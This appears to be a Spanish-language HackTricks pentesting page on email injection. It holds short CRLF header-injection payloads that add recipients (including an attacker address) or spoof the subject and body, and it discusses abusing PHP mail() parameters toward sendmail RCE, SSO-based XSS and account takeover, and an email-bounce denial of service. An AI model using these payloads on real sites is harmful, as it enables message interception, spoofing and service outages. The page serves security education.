hacktricks/pentesting-web/email-injections.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

164 lines
10 KiB
Markdown

# Inyecciones de correo electrónico
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
Obtenga acceso hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Inyectar en correo electrónico enviado
### Inyectar Cc y Bcc después del argumento del remitente
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
El mensaje será enviado a las cuentas del destinatario y destinatario1.
### Inyectar argumento
```
From:sender@domain.com%0ATo:attacker@domain.com
```
El mensaje será enviado tanto al destinatario original como a la cuenta del atacante.
### Inyectar argumento de Asunto
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
El asunto falso se agregará al asunto original y en algunos casos lo reemplazará. Depende del comportamiento del servicio de correo.
### Cambiar el cuerpo del mensaje
Inyecte dos saltos de línea y luego escriba su mensaje para cambiar el cuerpo del mensaje.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Explotación de la función mail() de PHP
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### El quinto parámetro ($additional\_parameters)
Esta sección se basará en **cómo abusar de este parámetro suponiendo que un atacante lo controle**.
Este parámetro se agregará a la línea de comando que PHP usará para invocar el binario sendmail. Sin embargo, se sanitizará con la función `escapeshellcmd($additional_parameters)`.
Un atacante puede **inyectar parámetros adicionales para sendmail** en este caso.
#### Diferencias en la implementación de /usr/sbin/sendmail
La interfaz **sendmail** es **proporcionada por el software MTA de correo electrónico** (Sendmail, Postfix, Exim, etc.) instalado en el sistema. Aunque la **funcionalidad básica** (como los parámetros -t -i -f) sigue siendo la **misma** por razones de compatibilidad, **otras funciones y parámetros** varían mucho según el MTA instalado.
Aquí hay algunos ejemplos de diferentes páginas de manual de la interfaz de comando sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
Dependiendo del **origen del binario sendmail**, se han descubierto diferentes opciones para abusar de ellos y **filtrar archivos o incluso ejecutar comandos arbitrarios**. Ver cómo en [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Inyectar en el nombre del correo electrónico
### Partes ignoradas de un correo electrónico
Los símbolos: **+, -** y **{}** en raras ocasiones se pueden usar para etiquetar y ser ignorados por la mayoría de los servidores de correo electrónico.
* Ej. john.doe+intigriti@example.com → john.doe@example.com
Los **comentarios entre paréntesis ()** al principio o al final también se ignorarán.
* Ej. john.doe(intigriti)@example.com → john.doe@example.com
### Bypass de lista blanca
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
### Comillas
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
### IPs
También puede usar IPs como nombres de dominio entre corchetes:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Otras vulnerabilidades
![](<../.gitbook/assets/image (296).png>)
## SSO de terceros
### XSS
Algunos servicios como **github** o **salesforce permiten** crear una **dirección de correo electrónico con payloads XSS**. Si puede **usar estos proveedores para iniciar sesión en otros servicios** y estos servicios **no están sanitizando** correctamente el correo electrónico, podría causar **XSS**.
### Toma de cuenta
Si un **servicio SSO** le permite **crear una cuenta sin verificar la dirección de correo electrónico proporcionada** (como **salesforce**) y luego puede usar esa cuenta para **iniciar sesión en un servicio diferente** que **confía** en salesforce, podría acceder a cualquier cuenta.\
_Tenga en cuenta que salesforce indica si se verificó o no el correo electrónico proporcionado, pero la aplicación también debería tener en cuenta esta información._
## Responder a
Puede enviar un correo electrónico usando _**De: empresa.com**_\*\* \*\* y _**Responder a: atacante.com**_ y si se envía alguna **respuesta automática** debido a que el correo electrónico se envió **desde** una **dirección interna**, el **atacante** podría ser capaz de **recibir** esa **respuesta**.
## Tasa de rebote duro
Algunas aplicaciones como AWS tienen una **Tasa de rebote duro** (en AWS es del 10%), que cuando está sobrecargado, el servicio de correo electrónico se bloquea.
Un **rebote duro** es un **correo electrónico** que no se pudo entregar por algunas razones permanentes. Tal vez la dirección de correo electrónico es falsa, tal vez el dominio de correo electrónico no es un dominio real, o tal vez el servidor del destinatario de correo electrónico no aceptará correos electrónicos, lo que significa que de un total de 1000 correos electrónicos, si 100 de ellos eran falsos o eran inválidos que causaron que todos rebotaran, **AWS SES** bloqueará su servicio.
Por lo tanto, si puede **enviar correos electrónicos (tal vez invitaciones) desde la aplicación web a cualquier dirección de correo electrónico, podría provocar este bloqueo enviando cientos de invitaciones a usuarios y dominios inexistentes: DoS del servicio de correo electrónico.**
## Referencias
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? o ¿quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para crear y **automatizar flujos de trabajo** con las herramientas de la comunidad más avanzadas del mundo.\
Obtenga acceso hoy:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}